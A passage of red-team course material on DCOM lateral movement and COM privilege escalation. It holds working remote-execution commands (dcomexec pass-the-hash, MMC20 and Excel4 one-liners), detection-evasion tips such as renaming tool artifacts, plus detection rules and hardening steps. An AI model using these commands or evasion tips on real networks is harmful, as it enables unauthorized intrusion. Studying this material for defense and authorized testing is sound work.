- **InternetExplorer.Application** (`{0002DF01-0000-0000-C000-000000000046}`) is constrained by IE protected mode; the community-standard alternative is bohops' `Navigate` via ShellBrowserWindow (5.3). A Sigma rule exists for the "DCOM InternetExplorer.Application iertutil DLL hijack" variant, and Sysmon 7 catches `iertutil.dll` loading from a non-system path ([2][7]).
|
||||||
|
- **LethalHTA** (codewhitesec, July 2018) remote-activates the `htafile` ProgID (mshta `LocalServer32`) with a custom moniker plus DotNetToJScript for fileless, HTA-less execution — code at `github.com/codewhitesec/LethalHTA` ([19]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Tooling
|
||||||
|
|
||||||
|
Every primitive above reduces to `GetTypeFromCLSID`/`GetTypeFromProgID` + `Activator.CreateInstance` + one method call, so tooling differs mainly in output handling, auth options, and operational wrappers.
|
||||||
|
|
||||||
|
### impacket `dcomexec.py`
|
||||||
|
|
||||||
|
A semi-interactive shell over DCOM supporting three objects — `MMC20`, `ShellWindows` (default), `ShellBrowserWindow` ([13]). It wraps your command as `cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1` and reads the result back over SMB, so **it needs `ADMIN$`** (override with `-share`; `-nooutput` runs blind). Other switches: `-shell-type powershell`, `-silentcommand`. Authentication: cleartext, `-hashes` (PtH), `-k` Kerberos with `-aesKey`/`-keytab`. Tested matrix: MMC20 on Win7/10/2012R2; ShellWindows on Win7/10/2012R2; ShellBrowserWindow on Win10/2012R2 ([13]).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt" # ShellWindows default
|
||||||
|
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
|
||||||
|
dcomexec.py -object MMC20 -k -nooutput DOMAIN/admin@target.domain.local
|
||||||
|
```
|
||||||
|
|
||||||
|
> **OpSec:** the `\\127.0.0.1\ADMIN$\__<epoch>.<ms>` write-back leaves a deterministic pattern in command lines and `ADMIN$`: the regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` detects it ([26]). Use `-nooutput` when you can.
|
||||||
|
|
||||||
|
### Invoke-DCOM.ps1
|
||||||
|
|
||||||
|
rvrsh3ll's PowerShell wrapper for the enigma0x3-era primitives ([15]). It automates exactly the object walks shown in sections 5.1–5.4; the underlying one-liner it wraps is:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")
|
||||||
|
```
|
||||||
|
|
||||||
|
### SharpMove
|
||||||
|
|
||||||
|
0xthirteen's C# lateral-movement collection; DCOM execution via `action=dcom`, and `action=hijackdcom` for the planted-binary variant ([16]):
|
||||||
|
|
||||||
|
```text
|
||||||
|
SharpMove.exe action=dcom computername=TARGET command="cmd.exe /c calc.exe" (illustrative; see repo for full syntax [16])
|
||||||
|
```
|
||||||
|
|
||||||
|
Defenders ship a Sigma rule for it (`proc_creation_win_hktl_sharpmove`) — recompile with renamed artifacts before use.
|
||||||
|
|
||||||
|
### SharpCOM
|
||||||
|
|
||||||
|
rvrsh3ll's C# implementation of the classic objects ([17]); functionally the C# MMC20 snippet from section 5.1 with target/CLSID parameterization. Useful when PowerShell logging (Script Block, AMSI) is a concern and you want the same primitives in an assembly.
|
||||||
|
|
||||||
|
### SharpExcel4-DCOM
|
||||||
|
|
||||||
|
rvrsh3ll's weaponization of the Excel `ExecuteExcel4Macro` primitive (section 5.4d) — remote XLM execution without staging a workbook ([18]):
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
// core call it wraps; see repo for full CLI [18]
|
||||||
|
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
|
||||||
|
new object[] { "EXEC(\"calc.exe\")" });
|
||||||
|
```
|
||||||
|
|
||||||
|
### Cobalt Strike
|
||||||
|
|
||||||
|
DCOM execution is documented in the Cobalt Strike User Guide under `remote-exec` (`com-mmc20`); the Aggressor-accessible one-liner is the MMC20 primitive itself (no public URL is cited in our source material):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
|
||||||
|
```
|
||||||
|
|
||||||
|
### NetExec
|
||||||
|
|
||||||
|
NetExec exposes MMC20 execution as an SMB `--exec-method` with a configurable DCOM timeout ([14]):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami" # tune with --dcom-timeout
|
||||||
|
```
|
||||||
|
|
||||||
|
### Also in the ecosystem
|
||||||
|
|
||||||
|
- **Empire** — module `powershell/lateral_movement/invoke_dcom` covering MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, plus a `DetectOffice` check ([3]).
|
||||||
|
- **SharpLateral** (`reddcom`), **CsDCOM** (rasta-mouse), and **MoveKit** round out C# delivery options; all are variations on the same three-line .NET primitive.
|
||||||
|
- **LethalHTA** — standalone tool for the `htafile`+moniker route (section 5.8) ([19]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Detection and OpSec
|
||||||
|
|
||||||
|
DCOM detection works on four axes: process lineage, network, authentication, and the registry/disk residue of the planted-binary variants. No single axis is sufficient — the techniques were designed to look like administration.
|
||||||
|
|
||||||
|
### Process lineage (Sysmon Event ID 1)
|
||||||
|
|
||||||
|
| Indicator | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding` | MMC20 activation (5.1) |
|
||||||
|
| `svchost.exe` → `EXCEL.EXE /automation -Embedding` | Excel variants (5.4) — correlate; the flag alone is noisy ([25]) |
|
||||||
|
| `DllHost.exe /Processid:{AppID}` | DLL-hosted DCOM server start |
|
||||||
|
| Second generation: `mmc.exe` → `cmd.exe`, `explorer.exe` → `cmd.exe`, `EXCEL.EXE` → child | The payload itself; `explorer.exe` parenting points at ShellWindows/ShellBrowserWindow |
|
||||||
|
| `OUTLOOK.EXE -Embedding` spawned non-interactively | Outlook CreateObject (5.5) |
|
||||||
|
|
||||||
|
The canonical Sigma rule for MMC20 (`f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`, level high) is deliberately minimal ([24]) — condensed:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# Condensed from Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd (high) [24]
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
ParentImage|endswith: '\svchost.exe'
|
||||||
|
Image|endswith: '\mmc.exe'
|
||||||
|
CommandLine|contains: '-Embedding'
|
||||||
|
condition: selection
|
||||||
|
```
|
||||||
|
|
||||||
|
### Network (Sysmon 3, Zeek/Suricata, NDR)
|
||||||
|
|
||||||
|
- **Sysmon 3:** inbound TCP 135 to `svchost.exe` plus a follow-on dynamic high-port connection; egress *from* `mmc.exe`/`EXCEL.EXE` afterwards is a beacon-grade anomaly.
|
||||||
|
- **DCE/RPC content inspection** (Zeek `dce_rpc`, Suricata): `ISystemActivator`/`IRemoteSCMActivator` opnum 3 `RemoteGetClassObject` / opnum 4 `RemoteCreateInstance` against 135, then `IDispatch::GetIDsOfNames` carrying method strings — `ShellExecute`, `ExecuteShellCommand` — and `Invoke` arguments **in cleartext at Packet-Integrity** level. Integrity is not encryption; only Packet Privacy hides these. This is the single most reliable content indicator in the chapter.
|
||||||
|
- **Workstation-to-workstation 135** is high-fidelity almost everywhere; legitimate DCOM administration concentrates on management hosts.
|
||||||
|
- Vendor analytics exist: Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20/ShellWindows, and Elastic ships a prebuilt "Incoming DCOM Lateral Movement with MMC" rule.
|
||||||
|
|
||||||
|
### Authentication and Windows events
|
||||||
|
|
||||||
|
- **4624 Type 3** on the target (every technique), **4768/4769** for the Kerberos path, **4648** on the source for explicit credentials, **4672** when the admin token lands.
|
||||||
|
- **DistributedCOM 10010** (System log): the mobsync/abandoned-binary tell (5.7); **10006/10016** record DCOM denials — a spike is reconnaissance against launch ACLs.
|
||||||
|
- **10036/10037/10038**: KB5004442 hardening rejections (section 8) — 10036 is server-side (logs user/SID/client IP of a below-integrity activation attempt), 10037/10038 client-side. An estate-wide watch on 10036 surfaces both legacy misconfigurations and relay tooling.
|
||||||
|
- "Audit DCOM Activity" exists as an advanced audit policy but is rarely enabled.
|
||||||
|
|
||||||
|
### Image loads, files, registry (Sysmon 7 / 11 / 13)
|
||||||
|
|
||||||
|
- **Sysmon 7:** `.xll` or unknown-DLL loads into `EXCEL.EXE` (RegisterXLL); `wshom.ocx` (Outlook Wscript.Shell variant); `iertutil.dll` from a non-system path (InternetExplorer.Application hijack).
|
||||||
|
- **Sysmon 11/13:** `ADMIN$` writes, planted `mobsync.exe`, staged `.ppam`/`.xlsm`, and — as a defender — **tampering with `LaunchPermission` values** (an attacker who weakens an AppID ACL leaves a 13).
|
||||||
|
|
||||||
|
### Tooling signatures and ETW
|
||||||
|
|
||||||
|
- impacket `dcomexec.py`: output-file pattern `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` in command lines and share writes ([26]).
|
||||||
|
- SharpMove: `proc_creation_win_hktl_sharpmove` Sigma rule.
|
||||||
|
- **ETW:** the `Microsoft-Windows-RPC` provider surfaces ORPC calls and is the substrate for endpoint sensors that do not parse DCE/RPC off the wire.
|
||||||
|
|
||||||
|
> **OpSec:** to minimize your footprint as an operator: prefer ShellWindows/ShellBrowserWindow (no new COM host process) on hosts with an interactive session; keep payloads fileless (MMC20 command lines, ExecuteExcel4Macro, DotNetToJScript); authenticate with Kerberos by hostname to blend with admin tooling; and remember the artifacts you cannot remove — 4624 Type 3, the opnum 3/4 activation calls, and the method strings on the wire unless Packet Privacy is negotiated.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Hardening and the limits of KB5004442
|
||||||
|
|
||||||
|
### What KB5004442 actually does
|
||||||
|
|
||||||
|
Microsoft's "DCOM Hardening" update (KB5004442, CVE-2021-26414) rolled out in three phases: **opt-in June 2021 → enabled by default June 14, 2022 → mandatory March 14, 2023** ([22]). It raises the minimum activation authentication level to `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`, enforceable via `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1`. Consequences:
|
||||||
|
|
||||||
|
- **Kills the unauthenticated and relay paths** — notably the RemotePotato0-style OXID man-in-the-middle → NTLM relay chains ([21]).
|
||||||
|
- **Rejects old clients** that cannot do packet integrity, logging 10036 (server-side) / 10037/10038 (client-side).
|
||||||
|
- **Does NOT stop authenticated admin DCOM lateral movement.** Every technique in this chapter rides valid credentials at or above packet integrity; hardening changes nothing for them. Hardening is an anti-relay control, not an anti-DCOM control ([22]).
|
||||||
|
|
||||||
|
> **Warning:** In OT environments this matters twice: OPC Classic (OPC DA) is *entirely* DCOM — the OPCEnum service, the same 135+dynamic-port footprint — and KB5004442 broke legacy OPC deployments that could not meet packet integrity. Expect environment-specific freezes of the hardening level and legacy DCOM exposure to coexist on industrial networks.
|
||||||
|
|
||||||
|
### Attack-surface mapping
|
||||||
|
|
||||||
|
BloodHound models this exact abuse path as the **`ExecuteDCOM` edge** ([27]): during engagements, query it to find principals whose admin rights translate into DCOM-executable paths; during defense, use the same edge to prioritize which admin relationships to break first.
|
||||||
|
|
||||||
|
### Defense-in-depth checklist
|
||||||
|
|
||||||
|
1. **Segment:** block workstation-to-workstation TCP 135 + the dynamic range; restrict DCOM to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)" and "Microsoft Management Console" firewall rules.
|
||||||
|
2. **DCOM ACLs:** in `dcomcnfg` → COM Security, Edit Default/Limits — remove Remote Launch/Activation from Administrators. Per object: take ownership of `HKCR\AppID\{guid}` (from TrustedInstaller), set an explicit `LaunchPermission` denying remote activation, restore ownership, remove your own FullControl. Monitor Sysmon 13 for tampering with these values.
|
||||||
|
3. **Disable DCOM entirely:** `HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N"` — effective but breaks remote WMI; test at scale before enforcing.
|
||||||
|
4. **Identity controls:** LAPS (unique local admin passwords), tiered administration with PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still works), disable NTLM where possible. Monitor KB5004442 enforcement state estate-wide.
|
||||||
|
5. **Application control:** block Office child processes, deploy ASR rules, keep Office off servers, block `mshta`/`ScriptControl`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: Hunting New DCOM Lateral-Movement Primitives
|
||||||
|
|
||||||
|
### Hunting hypothesis
|
||||||
|
|
||||||
|
The published set (MMC20, Shell*, Office, mobsync) is what survived triage of the full COM class list — it is not the whole list. Three classes of *new* primitives plausibly remain:
|
||||||
|
|
||||||
|
1. **Undiscovered dangerous methods** on remote-activatable classes that inherit default launch ACLs — the exact property combination that made MMC20 abusable (no explicit `LaunchPermission` + a method taking a command/path string).
|
||||||
|
2. **Abandoned registrations**: `LocalServer32`/`InProcServer32` paths whose binaries vanished (OS upgrades, third-party uninstalls) — the mobsync pattern generalizes, and bohops already showed a third-party instance (`IntelCpHDCPSvc.exe`) ([8]).
|
||||||
|
3. **RunAs-Interactive-User classes** beyond the two known shell objects, converting remote activation into execution inside a logged-on session — the stealthiest hosting model published so far.
|
||||||
|
|
||||||
|
### Enumeration
|
||||||
|
|
||||||
|
Build the target list first; test later.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. Inventory DCOM-visible applications (AppID, Name)
|
||||||
|
Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name
|
||||||
|
|
||||||
|
# 2. Flag classes whose LocalServer32 binary is MISSING on the target
|
||||||
|
# (abandoned-DCOM candidates, mobsync pattern) — sketch, run per-build (illustrative)
|
||||||
|
Get-ChildItem 'HKLM:\Software\Classes\CLSID' -ErrorAction SilentlyContinue | ForEach-Object {
|
||||||
|
$ls = (Get-ItemProperty -Path "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue).'(default)'
|
||||||
|
if ($ls) {
|
||||||
|
$path = $ls -replace '"','' -replace '\s+-.*$',''
|
||||||
|
$path = [Environment]::ExpandEnvironmentVariables($path)
|
||||||
|
if (-not (Test-Path $path)) { "$($_.PSChildName) -> $path (MISSING)" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
In **OleViewDotNet** ([23]), run as administrator and work the registry view:
|
||||||
|
|
||||||
|
- Filter for classes with **no explicit launch ACL**: `entry LaunchPermission == None` — these inherit the machine default, the property shared by MMC20, ShellWindows, and ShellBrowserWindow.
|
||||||
|
- For each surviving class, read the AppID's `RunAs` setting (Interactive User is premium) and the class's `LocalServer32` path.
|
||||||
|
- Enumerate each class's exposed interfaces/methods from its type library; you are hunting `IDispatch`-callable methods (late binding = callable from PowerShell without compiled proxies).
|
||||||
|
|
||||||
|
### Triage heuristics
|
||||||
|
|
||||||
|
A candidate is promising if it checks most of these boxes:
|
||||||
|
|
||||||
|
- [ ] No explicit `LaunchPermission` on its AppID (inherits Administrators-friendly default).
|
||||||
|
- [ ] `RunAs` = Interactive User, or the default (launching user) — both were exploited historically.
|
||||||
|
- [ ] Exposes `IDispatch` (scriptable, late-bound).
|
||||||
|
- [ ] Has methods whose names or signatures imply execution or file loading: `Execute*`, `Shell*`, `Run`, `Open`, `Add`, `Navigate`, `Launch`, or a BSTR parameter that smells like a path/command.
|
||||||
|
- [ ] Hosted by a signed Microsoft binary already present on gold images (no drop needed).
|
||||||
|
- [ ] `LocalServer32` points at a non-existent or user-writable path (plant-and-activate).
|
||||||
|
- [ ] Third-party AppID left behind by an uninstalled driver/utility.
|
||||||
|
|
||||||
|
### Analysis workflow
|
||||||
|
|
||||||
|
**Static checklist:** registry (`HKCR\CLSID\{clsid}` → server path; `HKCR\AppID\{appid}` → RunAs, ACL) → type library method dump → rank methods by argument types (BSTR command/path args first, then integer-controlled behavior). Verify the host binary exists, is signed, and note its spawn flags (`-Embedding`, `/automation`).
|
||||||
|
|
||||||
|
**Dynamic harness** — loop candidates against a lab VM running Sysmon + Wireshark, log every HRESULT, and correlate with process creation *(illustrative sketch)*:
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
// (illustrative) DCOM method-probing harness
|
||||||
|
foreach (var clsid in File.ReadLines("candidates.txt")) {
|
||||||
|
try {
|
||||||
|
Type t = Type.GetTypeFromCLSID(new Guid(clsid), TARGET); // CoCreateInstanceEx remote
|
||||||
|
object o = Activator.CreateInstance(t); // watch target for host spawn
|
||||||
|
foreach (var m in candidateMethods) // "ShellExecute", "Run", "Open", ...
|
||||||
|
try {
|
||||||
|
t.InvokeMember(m, BindingFlags.InvokeMethod, null, o, benignArgs); // e.g. calc.exe
|
||||||
|
Log($"HIT {clsid} {m}");
|
||||||
|
} catch (Exception e) { Log($"{clsid} {m}: {e.Message}"); }
|
||||||
|
} catch (Exception e) { Log($"{clsid}: activation failed {e.Message}"); }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
On the target, correlate Sysmon EID 1 (new host under DcomLaunch; child processes) with your timestamps, and capture which activation opnum (3 vs 4) your probe generated on the wire.
|
||||||
|
|
||||||
|
### Fuzzing/mutation ideas (DCOM method arguments)
|
||||||
|
|
||||||
|
Typed mutation beats blind bit-flipping here; the interesting space is the *arguments*, since the transport is mature:
|
||||||
|
|
||||||
|
- **BSTR path/command args:** UNC vs local paths, self-referential `\\127.0.0.1\ADMIN$`, extension confusion (RegisterXLL loads by DLL semantics *regardless of extension* — test the same against every file-loading method you find), trailing-space and quote smuggling.
|
||||||
|
- **Boundary lengths:** DDE showed the pattern — `App` capped at 8 chars with auto-appended `.exe`, `Topic` capped at 1024. Mutate around such caps in any string arg you find; off-by-one parsing inside a signed host is a memory-safety lead, not just an exec primitive.
|
||||||
|
- **Integer/window-state args:** `vShow`/`WindowState` boundaries (0, 1, 7, negatives, huge values) — UI-state confusion and validation bugs.
|
||||||
|
- **Null/omitted optionals:** several published primitives tolerate `$null` for directory/operation args; probe which methods mis-handle missing VARIANTs.
|
||||||
|
- **URL schemes** for Navigate-style methods: `file:`, UNC, HTTP/S, `.hta` — each routes through different shell handlers with different UI/execution behavior; map which execute without prompts.
|
||||||
|
- **Authentication-level mutation:** force below-integrity activation against KB5004442-mandatory builds and log 10036/37/38 behavior — identifies servers where hardening was rolled back (a target-selection signal).
|
||||||
|
- **VARIANT type confusion** in `IDispatch::Invoke`: wrong-typed arguments, DISPID off-by-one — hunting parser crashes inside `EXCEL.EXE`/`mmc.exe`-grade hosts that upgrade a lead from "exec" to "memory corruption".
|
||||||
|
|
||||||
|
### From lead to primitive
|
||||||
|
|
||||||
|
1. **Local activation first** — loopback `127.0.0.1` works, and ShellWindows-style loopback even lands in the interactive user's context; cheapest possible iteration loop.
|
||||||
|
2. **Remote activation** with lab admin creds; confirm the 4624 Type 3 and DcomLaunch spawning the host.
|
||||||
|
3. **Argument control:** prove a chosen string lands in a child-process command line (Sysmon 1) or a chosen file executes (Sysmon 11 + 1).
|
||||||
|
4. **Reliability matrix:** OS builds × application presence × interactive-session requirement; record failure HRESULTs precisely — remember `0x80080005` still meant success for the mobsync pattern.
|
||||||
|
5. **Hardening check:** repeat against a KB5004442-mandatory build; your primitive must survive packet-integrity enforcement (it will, if it uses real creds) and you should document which rejection events a *non-compliant client* would raise.
|
||||||
|
6. **Publication bar:** a new primitive = new CLSID + reproducible execution + a documented telemetry map (lineage, events, network strings). Check whether BloodHound's `ExecuteDCOM` modeling and existing Sigma coverage already catch your lineage — if they do not, say so; that gap is the contribution.
|
||||||
|
|
||||||
|
### Further reading
|
||||||
|
|
||||||
|
- OleViewDotNet — James Forshaw's COM enumeration workhorse ([23])
|
||||||
|
- enigma0x3, *Lateral Movement via DCOM: Round 2* — the ShellWindows/ShellBrowserWindow playbook ([2])
|
||||||
|
- bohops, *Abusing DCOM for Yet Another Lateral Movement Technique* — abandoned binaries ([8])
|
||||||
|
- MDSec, *I Like to Move It: Windows Lateral Movement Part 2 — DCOM* — XLM/shellcode in Excel ([9])
|
||||||
|
- SpecterOps, *Abuse the Power of DCOM Excel Application* — ActivateMicrosoftApp EOL proxy execution ([10])
|
||||||
|
- BloodHound docs, *ExecuteDCOM edge* — graph modeling of this attack class ([27])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
[1] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
||||||
|
[2] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||||
|
[3] Lateral Movement Using Excel Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
|
||||||
|
[4] Lateral Movement Using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
|
||||||
|
[5] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason (2017) — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
|
||||||
|
[6] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques
|
||||||
|
[7] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
|
||||||
|
[8] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
|
||||||
|
[9] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
|
||||||
|
[10] Lateral Movement: Abuse the Power of DCOM Excel Application — SpecterOps (2023) — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922
|
||||||
|
[11] MITRE ATT&CK T1021.003 — Distributed Component Object Model — MITRE — https://attack.mitre.org/techniques/T1021/003/
|
||||||
|
[12] MITRE ATT&CK T1559.001 — Component Object Model — MITRE — https://attack.mitre.org/techniques/T1559/001/
|
||||||
|
[13] impacket dcomexec.py — Fortra (agsolino / byt3bl33d3r) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
|
||||||
|
[14] Execute Remote Command — NetExec Wiki — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command
|
||||||
|
[15] Invoke-DCOM.ps1 — rvrsh3ll — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
|
||||||
|
[16] SharpMove — 0xthirteen — https://github.com/0xthirteen/SharpMove
|
||||||
|
[17] SharpCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpCOM
|
||||||
|
[18] SharpExcel4-DCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpExcel4-DCOM
|
||||||
|
[19] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html
|
||||||
|
[20] DCOM Lateral Movement with PowerPoint — attactics.org (2018) — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/
|
||||||
|
[21] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in the Windows RPC Protocol — SentinelOne — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
|
||||||
|
[22] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft — https://support.microsoft.com (KB5004442 / CVE-2021-26414)
|
||||||
|
[23] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet
|
||||||
|
[24] Sigma rule: MMC20 Lateral Movement — SigmaHQ — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/
|
||||||
|
[25] FalconFriday: DCOM & SCM Lateral Movement (0xFF05) — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/
|
||||||
|
[26] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/
|
||||||
|
[27] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom
|
||||||
@@ -0,0 +1,850 @@
|
|||||||
|
# 03 · COM for Local Privilege Escalation
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators and Windows internals students; no COM background assumed, ramping to original-research methodology. **Prerequisites:** basic Windows administration (services, registry, tokens), TCP/IP fundamentals, and the ability to read short C++ snippets. **Estimated reading time:** 120–150 minutes.
|
||||||
|
> After this chapter you will be able to explain the COM impersonation contract and every way it breaks, reproduce the DiagHub and USO weaponization chains, pick the correct potato for any build from Windows 7 to Server 2022, recognize trapped-COM-object and IDispatch primitives, and run a repeatable workflow for finding new COM LPE bugs yourself.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. Why out-of-process COM servers are LPE targets](#1-why-out-of-process-com-servers-are-lpe-targets)
|
||||||
|
- [2. The impersonation contract](#2-the-impersonation-contract)
|
||||||
|
- [3. How the contract fails: the LPE bug taxonomy](#3-how-the-contract-fails-the-lpe-bug-taxonomy)
|
||||||
|
- [4. Case study: DiagHub (Forshaw 2018)](#4-case-study-diaghub-forshaw-2018)
|
||||||
|
- [5. Case study: USO and UsoDllLoader (itm4n 2019)](#5-case-study-uso-and-usodllloader-itm4n-2019)
|
||||||
|
- [6. DCOM NTLM reflection and the hardening timeline](#6-dcom-ntlm-reflection-and-the-hardening-timeline)
|
||||||
|
- [7. The Potato family](#7-the-potato-family) — [7.1 prerequisites and the three COM roles](#71-common-prerequisites-and-the-three-com-roles), [7.3 RottenPotato](#73-rottenpotato-local-ntlm-reflection-over-dcom-2016), [7.4 JuicyPotato](#74-juicypotato-arbitrary-clsid-reflection-2018), [7.6 RoguePotato](#76-roguepotato-fake-oxid-resolver-and-token-kidnapping-2020), [7.7 PrintSpoofer](#77-printspoofer-pipe-name-normalization-2020), [7.9 JuicyPotatoNG](#79-juicypotatong-type-9-logon-and-an-sspi-hook-2022), [7.10 LocalPotato](#710-localpotato-ntlm-context-swapping-2023), [7.11 classification table](#711-the-rest-of-the-family-classification-table), [7.12 decision tree](#712-potato-decision-tree)
|
||||||
|
- [8. Trapped COM objects (Forshaw, January 2025)](#8-trapped-com-objects-forshaw-january-2025)
|
||||||
|
- [9. Other documented COM LPE vectors](#9-other-documented-com-lpe-vectors)
|
||||||
|
- [10. Research Lab: Finding New COM LPE Bugs](#10-research-lab-finding-new-com-lpe-bugs)
|
||||||
|
- [11. References](#11-references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Why out-of-process COM servers are LPE targets
|
||||||
|
|
||||||
|
COM objects are activated through the Service Control Manager / **RPCSS** service. An **out-of-process (OOP) server** is registered under `HKLM\SOFTWARE\Classes\CLSID\{CLSID}` either with a `LocalServer32` value naming an executable, or with an `AppID` that names a Windows service hosting the class. That server process frequently runs as `NT AUTHORITY\SYSTEM`, `LOCAL SERVICE`, or `NETWORK SERVICE` — which is exactly why it is interesting: if an unprivileged user can activate the object and drive one of its methods, the user is steering code that executes inside a privileged process.
|
||||||
|
|
||||||
|
> **Beginner note:** A **CLSID** (class identifier) is the GUID naming a COM class, e.g. `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}`. An **AppID** is a second GUID, under `HKLM\SOFTWARE\Classes\AppID\{AppID}`, that groups classes under one activation policy: which identity the server runs as (`RunAs`), which service hosts it, and who may launch or access it. When you audit "COM permissions" for LPE, you audit AppIDs, not CLSIDs.
|
||||||
|
|
||||||
|
Whether a low-privileged user may even talk to such an object is governed by two SDDL strings stored as values under the AppID key:
|
||||||
|
|
||||||
|
- **`LaunchPermission`** — who may activate the class. The rights mask includes `ExecuteLocal 0x2` and `ActivateLocal 0x8`.
|
||||||
|
- **`AccessPermission`** — who may call methods on an already-running object. Machine-wide fallbacks for both live at `HKLM\SOFTWARE\Microsoft\Ole\DefaultLaunchPermission` and `DefaultAccessPermission` (editable through DCOMCNFG).
|
||||||
|
|
||||||
|
> **Beginner note:** An **SDDL** string is the text form of an ACL; each parenthesized ACE is `(type;;rights;;;SID)`. Reading `O:SYG:SYD:(A;;CCDCSW;;;AU)`: the ACE grants rights `CCDCSW` to `AU` — Authenticated Users (`S-1-5-11`). Other principals you will see here: `INTERACTIVE` (`S-1-5-4`), `ALL APPLICATION PACKAGES` (AppContainer apps), and LPAC capability SIDs.
|
||||||
|
|
||||||
|
Many inbox services grant launch **and** access to `Authenticated Users`, `INTERACTIVE`, or even AppContainer/LPAC principals. The Diagnostics Hub service (section 4) is the canonical example: its launch SDDL contains `(A;;CCDCSW;;;AU)` — Authenticated Users — plus ALL APPLICATION PACKAGES and an LPAC capability SID, meaning both normal users *and* sandboxed apps may activate a SYSTEM object. **Any SYSTEM object with a dangerous method and a permissive AppID is a candidate LPE primitive.**
|
||||||
|
|
||||||
|
The call path from your code to the privileged method is:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Client → Proxy → COM library / RPC runtime → ALPC or TCP/NP transport → Stub → Server object
|
||||||
|
```
|
||||||
|
